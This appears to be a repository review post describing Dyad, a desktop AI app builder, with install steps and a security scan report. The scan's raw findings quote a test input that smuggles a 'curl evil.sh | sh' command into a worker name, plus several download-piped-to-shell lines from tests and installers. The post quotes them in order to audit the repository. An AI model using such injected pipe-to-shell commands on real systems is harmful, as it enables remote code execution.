7 min read

Dyad: Build Apps With AI on Your Own Machine (GitHub, Scanned)

A desktop AI app builder like Lovable or Bolt that runs locally with your own keys or local models.

Dyad logo
✅
Scan: safe. Nothing malicious. Two things to know: the optional Coolify deploy feature runs Coolify's own installer as root on a server you connect, and the starter template your new apps are built from carries 59 known advisories in its dependencies. Scanned Oct 1, 2026; the full report is below.

Dyad is a desktop app for building web apps by describing them, in the manner of Lovable, v0, Bolt or Replit. You chat about what you want, it writes the code, runs it and shows a live preview, and you keep iterating by prompting or by editing the code yourself. The difference is where things live: the project is an ordinary folder of code on your disk, the app runs on your machine, and there is no sign-up.

It brings no model of its own. You plug in your own keys for OpenAI, Anthropic, Google and other providers, or a local model through Ollama or LM Studio, and can switch at any time. Supabase or Neon can be connected for a database, migrations and authentication, and it supports MCP tools with a consent step before they run.

Dyad has about 21,700 stars, builds for macOS, Windows and Linux, and a community at r/dyadbuilders. Most of the code is Apache-2.0; the src/pro folder is under the Functional Source License, which is why GitHub shows the licence as unrecognised. Dyad Pro, at $20 a month or $79 for a larger tier, adds Pro agent modes for larger codebases and monthly AI credits so you do not need your own keys.

  • Repository: github.com/dyad-sh/dyad
  • Licence: custom (Other)
  • Language: TypeScript. Stars: 21.6K. Forks: 2,662. Last push: Oct 1, 2026.
  • Scan: safe, Oct 1, 2026, commit 49ec81c

Who it is for

Non-developers and designers who want to build working apps by prompting without a monthly subscription, and developers who like the Lovable workflow but want the code on their own disk and a free choice of model.

Getting started

1. macOS, with Homebrew

brew install --cask dyad

2. Windows and Linux: get the installer from dyad.sh or the releases page (Debian and Ubuntu shown)

sudo apt install ./dyad_*_amd64.deb

3. Open Dyad, add an API key or a local Ollama model in Settings, and describe the app you want

Build a habit tracker with a calendar view and a streak counter

Dyad needs no account; prompts go to whichever provider you configure and are billed by them. Local models through Ollama cost nothing, but small ones struggle with whole apps, so a capable cloud model gives better results on anything complex.

Safety scan

We cloned dyad-sh/dyad at commit 49ec81c on Oct 1, 2026 and ran the checks described on the GitHub Tools page: credential patterns, decode-and-execute code, install-time scripts, committed binaries, risky CI workflows, every host the code talks to, known vulnerabilities in pinned dependencies, and project hygiene. A person read every hit. This is what we found.

  • The 8 secret candidates are test fixtures and key formats: fake Slack and AWS keys and PEM headers in tests for the error sanitiser, which strips secrets from GitHub errors, and in coolify_deploy_key.ts the OpenSSH header the app writes around a deploy key it generates for you. All 55 bare-IP URLs are tests, 52 of them the reserved documentation address 203.0.113.5.
  • Four of the five pattern hits are tests and a comment. The fifth, src/coolify_setup/install.ts line 217, pipes Coolify's documented installer to bash on a server you connect over SSH, with admin credentials passed on stdin rather than the command line. It runs only when you use Deploy to Coolify.
  • The npm install hook builds native/keychain-reader, a small macOS addon that reads Dyad's own dyad Safe Storage Keychain item, or Chromium's, to recover settings encrypted under the wrong key after an Electron upgrade. Telemetry goes to PostHog, but before_send drops every event unless you opted in, the setting starts unset, and the IP address is removed.
  • 423 known advisories (18 critical, 211 high) across 16 lockfiles, most in benchmarks, test fixtures and the component-tagger packages. The root package-lock.json (288, 9 critical) includes Next.js only as an optional peer of the Geist font package, so no Next server runs, and tar and Happy DOM are dev tooling. scaffold/pnpm-lock.yaml (59, no criticals) is the template new apps start from, so run npm audit in projects you plan to deploy.
  • 20 workflows. Three use pull_request_target: the CLA assistant, and Claude and Codex review jobs that check out the base commit rather than the pull request, run only for an allow-list of maintainers, and give the agents read-only tools. All 10 third-party actions are pinned to commits. Security policy, Dependabot, licence and contributing guide present; no CodeQL.

What the scanner counted

CheckResult
Secrets8 candidates found and read; see the notes above.
Suspicious code5 pattern hits found and read; every one is listed under the raw findings.
Install-time code1 npm lifecycle script. 6 installer scripts
Committed binariesNone.
CI workflows20 workflows. 3 use pull_request_target, none check out the pull request head. 0 of 10 third-party actions pinned to a tag rather than a commit.
Network hosts40 distinct hosts referenced from source; most often github.com, academy.dyad.sh, app-42.localhost, www.dyad.sh. 55 URLs to a bare IP address, listed under the raw findings.
Known vulnerabilities423 advisories across 2,393 pinned packages: 18 critical, 211 high, 159 moderate, 35 low. benchmarks/app-builder/cuj-tests/package-lock.json: 18 packages, 0 advisories; benchmarks/app-builder/neon-sim/package-lock.json: 59 packages, 22 advisories; benchmarks/app-builder/template/nextjs/pnpm-lock.yaml: 360 packages, 59 advisories; e2e-tests/fixtures/import-app/astro/pnpm-lock.yaml: 84 packages, 17 advisories; e2e-tests/fixtures/import-app/minimal-with-ai-rules/pnpm-lock.yaml: 84 packages, 17 advisories; e2e-tests/fixtures/import-app/minimal/pnpm-lock.yaml: 92 packages, 9 advisories; e2e-tests/fixtures/import-app/next15-build/pnpm-lock.yaml: 51 packages, 8 advisories; e2e-tests/fixtures/import-app/next16-build/pnpm-lock.yaml: 54 packages, 4 advisories; e2e-tests/fixtures/import-app/recorder/pnpm-lock.yaml: 92 packages, 9 advisories; e2e-tests/fixtures/import-app/select-component/pnpm-lock.yaml: 140 packages, 35 advisories; e2e-tests/fixtures/import-app/version-integrity/pnpm-lock.yaml: 84 packages, 17 advisories; package-lock.json: 1,776 packages, 288 advisories; packages/@dyad-sh/nextjs-webpack-component-tagger/package-lock.json: 296 packages, 48 advisories; packages/@dyad-sh/react-vite-component-tagger/package-lock.json: 258 packages, 48 advisories; scaffold/pnpm-lock.yaml: 442 packages, 59 advisories; testing/fake-llm-server/package-lock.json: 162 packages, 20 advisories.
Project hygieneHas security policy, automated dependency updates, licence file, contributing guide. Missing CodeQL.
OpenSSF ScorecardNot scored: the project is not in Scorecard's weekly index.

The raw findings

Every hit the scanner wrote out, with a link to the exact line at the scanned commit. Secrets candidates are redacted.

Secret candidates (8, redacted)
WhereRuleMatch
src/coolify_setup/server_key.test.ts:28private-key-----B…--- (35 chars)
src/ipc/services/github_ops_safe_error.test.ts:58slack-tokenxoxb-1…ret (22 chars)
src/ipc/services/github_ops_safe_error.test.ts:59aws-access-keyAKIAAB…NOP (20 chars)
src/ipc/services/github_ops_safe_error.test.ts:240private-key-----B…--- (35 chars)
src/ipc/services/github_ops_safe_error.test.ts:266private-key-----B…--- (27 chars)
src/ipc/utils/coolify_deploy_key.test.ts:214private-key-----B…--- (35 chars)
src/ipc/utils/coolify_deploy_key.test.ts:240private-key-----B…--- (35 chars)
src/ipc/utils/coolify_deploy_key.ts:185private-key-----B…--- (35 chars)
Pattern hits (5)
WhereRuleMatch
.claude/hooks/tests/test_permission_request_hook.py:149download-piped-to-shell (test/example)"""Policy should mention curl | sh as dangerous."""
.claude/hooks/tests/test_permission_request_hook.py:151download-piped-to-shell (test/example)assert "curl | sh" in policy_content or "curl | bash" in policy_content
scripts/symbolicate-dump.mjs:23download-piped-to-shell// curl -LsSf https://github.com/rust-minidump/rust-minidump/releases/latest/download/minidump-stackwalk-installer.sh | sh
src/cloudflare_deploy/build_config.test.ts:140download-piped-to-shellbuildDeployRule({ ...base, workerName: "x; curl evil.sh | sh" }),
src/coolify_setup/install.ts:217download-piped-to-shell'curl -fsSL "$1" | bash',
URLs to bare IP addresses (55)
WhereRuleMatch
src/components/CoolifyConnector.test.tsx:328ip-literal-urlstatus: { ...NO_TOKEN.status, serverUrl: "http://203.0.113.5:8000" },
src/components/CoolifyConnector.test.tsx:368ip-literal-urlexpect(field.value).toBe("http://203.0.113.5:8000");
src/components/CoolifyConnector.test.tsx:585ip-literal-url"http://203.0.113.5:8000",
src/components/CoolifyConnector.test.tsx:724ip-literal-urldashboardUrl: "http://203.0.113.5:8000",
src/components/CoolifyConnector.test.tsx:739ip-literal-urlinstanceUrl: "http://203.0.113.5:8000",
src/components/CoolifyCredentials.test.tsx:193ip-literal-urlurl: "http://203.0.113.5:8000",
src/components/CoolifyCredentials.test.tsx:211ip-literal-urlinstance: { url: "http://203.0.113.5:8000", apiToken: "1|abc" },
src/components/CoolifyCredentials.test.tsx:213ip-literal-urlurl: "http://203.0.113.5:8000",
src/components/CoolifyCredentials.test.tsx:239ip-literal-urlurl: "http://203.0.113.5:8000",
src/components/CoolifyCredentials.test.tsx:253ip-literal-urlexpect(forServer.textContent).toContain("http://203.0.113.5:8000");
src/components/CoolifyServerSetup.test.tsx:576ip-literal-urlrenderPanel(vi.fn(), { heldServerUrl: "http://203.0.113.5:8000" });
src/coolify_setup/https_setup.test.ts:123ip-literal-urlexpect(plainUrlFor("203.0.113.5")).toBe("http://203.0.113.5:8000");
src/coolify_setup/https_setup.test.ts:384ip-literal-urlexpect(result.instanceUrl).toBe("http://203.0.113.5:8000");
src/coolify_setup/https_setup.test.ts:692ip-literal-urlexpect(result.instanceUrl).toBe("http://203.0.113.5:8000");
src/coolify_setup/https_setup.test.ts:866ip-literal-urlexpect(outcome.instanceUrl).toBe("http://203.0.113.5:8000");
src/coolify_setup/https_setup.test.ts:884ip-literal-urlexpect(outcome.instanceUrl).toBe("http://203.0.113.5:8000");
src/coolify_setup/setup_flow.test.ts:352ip-literal-urlexpect(result.dashboardUrl).toBe("http://203.0.113.5:8000");
src/coolify_setup/setup_flow.test.ts:533ip-literal-urlexpect(seen[0].dashboardUrl).toBe("http://203.0.113.5:8000");
src/coolify_setup/setup_flow.test.ts:547ip-literal-url"http://203.0.113.5:8000",
src/coolify_setup/setup_flow.test.ts:613ip-literal-urlexpect(result.dashboardUrl).toBe("http://203.0.113.5:8000");
src/hooks/useCoolifySetupSnapshot.test.tsx:79ip-literal-urlreturn Promise.resolve({ serverUrl: "http://203.0.113.5:8000" });
src/ipc/handlers/coolify_handlers.test.ts:237ip-literal-urlinstanceUrl: "http://203.0.113.5:8000",
src/ipc/handlers/coolify_handlers.test.ts:242ip-literal-urlexpect(status.serverUrl).toBe("http://203.0.113.5:8000");
src/ipc/handlers/coolify_setup_handlers.test.ts:156ip-literal-urldashboardUrl: "http://203.0.113.5:8000",
and 31 more
npm lifecycle scripts (1)
  • native/keychain-reader/package.json install: node-gyp rebuild
Installer scripts (6)
Worst known vulnerabilities (24 of 423)
AdvisorySeverityPackageSummary
GHSA-pw9m-5jxm-xr6hcriticalbetter-auth@1.4.18Better Auth: OAuth refresh-token replay via missing client authentication on oidc-provider and mcp plugins
GHSA-2xp9-vwfh-vxw4criticalnext@15.5.18Next.js: Unauthenticated Remote Code Execution in Image Optimization API when AVIF files are used
GHSA-p293-qw3h-jr36criticalnext@15.5.18Next.js: Unauthenticated Remote Code Execution on windows-hosted servers
GHSA-2xp9-vwfh-vxw4criticalnext@15.5.23Next.js: Unauthenticated Remote Code Execution in Image Optimization API when AVIF files are used
GHSA-p293-qw3h-jr36criticalnext@15.5.23Next.js: Unauthenticated Remote Code Execution on windows-hosted servers
GHSA-2xp9-vwfh-vxw4criticalnext@16.3.1Next.js: Unauthenticated Remote Code Execution in Image Optimization API when AVIF files are used
GHSA-p293-qw3h-jr36criticalnext@16.3.1Next.js: Unauthenticated Remote Code Execution on windows-hosted servers
GHSA-vcvr-r3jv-pc5jcriticalnext@16.3.1Next.js: Remote Code Execution in next/og ImageResponse
GHSA-23hp-3jrh-7fpwcriticaltar@7.4.3node-tar: Decompression/parse DoS via unlimited input
GHSA-37j7-fg3j-429fcriticalhappy-dom@17.6.3Happy DOM: VM Context Escape can lead to Remote Code Execution
GHSA-2xp9-vwfh-vxw4criticalnext@15.5.2Next.js: Unauthenticated Remote Code Execution in Image Optimization API when AVIF files are used
GHSA-9qr9-h5gf-34mpcriticalnext@15.5.2Next.js is vulnerable to RCE in React flight protocol
GHSA-p293-qw3h-jr36criticalnext@15.5.2Next.js: Unauthenticated Remote Code Execution on windows-hosted servers
GHSA-mv8w-475r-vwqwcriticalseroval@1.3.2seroval: `seroval.fromJSON()` Promise resolver type confusion invokes attacker-controlled methods during deserialization
GHSA-w7jw-789q-3m8pcriticalshell-quote@1.8.3shell-quote quote() does not escape newlines in object .op values
GHSA-23hp-3jrh-7fpwcriticaltar@6.2.1node-tar: Decompression/parse DoS via unlimited input
GHSA-5xrq-8626-4rwpcriticalvitest@3.2.4When Vitest UI server is listening, arbitrary file can be read and executed
GHSA-cf4h-3jhx-xvhqcriticalunderscore@1.4.4Arbitrary Code Execution in underscore
GHSA-3pq3-5fj3-cg6vhighaxios@1.18.1Axios: HTTP/2 adapter bypasses configured DNS lookup and proxy controls
GHSA-542g-h47m-68v8highaxios@1.18.1Axios: Denial of Service via Unhandled 'error' Event in HTTP/2 ClientHttp2Session Initialization
GHSA-c29m-xwm3-cm6rhighaxios@1.18.1Axios: ReDoS in fromDataURI data: URL parser freezes the Node event loop (DoS)
GHSA-m8m8-qj5v-23w3highaxios@1.18.1Axios: Node HTTP adapter prototype-pollution gadget allows request socket hijack via inherited createConnection
GHSA-mghh-pgcx-3jjjhighaxios@1.18.1Axios: ReDoS (O(N²)) in shouldBypassProxy host normalization, reachable via untrusted redirect Location
GHSA-r4gj-5m52-g5whhighaxios@1.18.1Axios: maxRedirects: 0 is not enforced by the fetch adapter, allowing redirect-based SSRF
Workflows worth a look

By the numbers

Stars21.6K
Forks2,662
Contributors35
Commits2,120
Open issues292
Open pull requests17
Releases145
Latest releasev1.17.0
Licencecustom
Main languageTypeScript
Project age1 year
Last pushOct 1, 2026
Tracked files3,775
Lines of code813K
Checkout size36 MB

Lines by language: TypeScript 648.8K, JSON 77.2K, Markdown 53.1K, JavaScript 22.3K, YAML 3,952, Shell 2,577.

Questions

Is Dyad free?

Yes. Dyad Free is open source, Apache-2.0 apart from the FSL-licensed Pro code, with no sign-up and no project limits; you pay your own model provider, or nothing with local models. Dyad Pro costs $20 a month for Pro modes and 200 AI credits, and a $79 tier includes 900 credits.

How is Dyad different from Lovable or Bolt?

Lovable, Bolt and v0 run in the browser on the vendor's servers, bill by subscription or credits, and host your project. Dyad runs on your computer, keeps the project as a normal folder of code you can open in any editor, and uses whichever model you choose, including local ones.

Can Dyad use local models?

Yes, through Ollama or LM Studio, which makes it free to run and keeps prompts on your machine. Building whole apps is demanding, so larger local models or a cloud model from OpenAI, Anthropic or Google give noticeably better results on anything complex.


This post is part of GitHub Tools, where every repository is cloned and scanned before it is written up. The scan is a snapshot of one commit on one day; the repository has moved on since, so check it before you install.